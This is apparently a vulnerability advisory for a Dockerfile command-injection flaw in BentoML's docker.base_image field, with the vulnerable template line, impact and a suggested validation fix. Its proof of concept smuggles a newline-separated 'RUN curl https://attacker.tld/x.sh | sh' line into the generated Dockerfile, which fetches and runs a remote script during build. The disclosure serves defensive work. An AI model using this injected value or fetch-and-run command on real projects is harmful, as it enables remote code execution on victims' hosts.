BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)

The same Dockerfile template that mishandles envs[*].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.

Vulnerable code

src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38 (current main, 2026-04-28):

FROM {{ __options__base_image }} AS base-container

__options__base_image resolves to DockerOptions.base_image (src/bentoml/_internal/bento/build_config.py:176):

base_image: t.Optional[str] = None

No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/_internal/container/__init__.py:206 via DockerOptions(**docker_attrs) and rendered as-is.

PoC

Malicious bentofile.yaml:

docker:
  base_image: |
    python:3.10
    RUN curl https://attacker.tld/x.sh | sh
    FROM scratch

Minimal reproduction of the unsafe interpolation:

from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)

Output:

FROM python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch AS base-container

Three valid Dockerfile directives instead of one. The RUN curl executes during docker build. The trailing FROM scratch AS base-container provides the named build stage the rest of the template depends on, so the build proceeds without error.

Impact

Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during bentoml containerize of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects docker.base_image to be a Docker image reference, not a Dockerfile fragment.

Suggested fix

Validate DockerOptions.base_image at the config layer: reject any value containing newline characters (\n, \r) or whitespace beyond a single space-separated tag. A regex like ^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$ covers the practical Docker reference format.

The same hardening should be extended to other unvalidated fields interpolated raw in base_v2.j2:

• __options__build_include[*] at line 97 (COPY ... ./src/{{ name }} ./src/{{ name }}) — same newline-injection class for path entries from Image.build_include(*file_paths).
• bento__user, bento__uid_gid, bento__path, bento__home, bento__entrypoint — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through override_bento_env.

References

• Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.
• CWE-78: https://cwe.mitre.org/data/definitions/78.html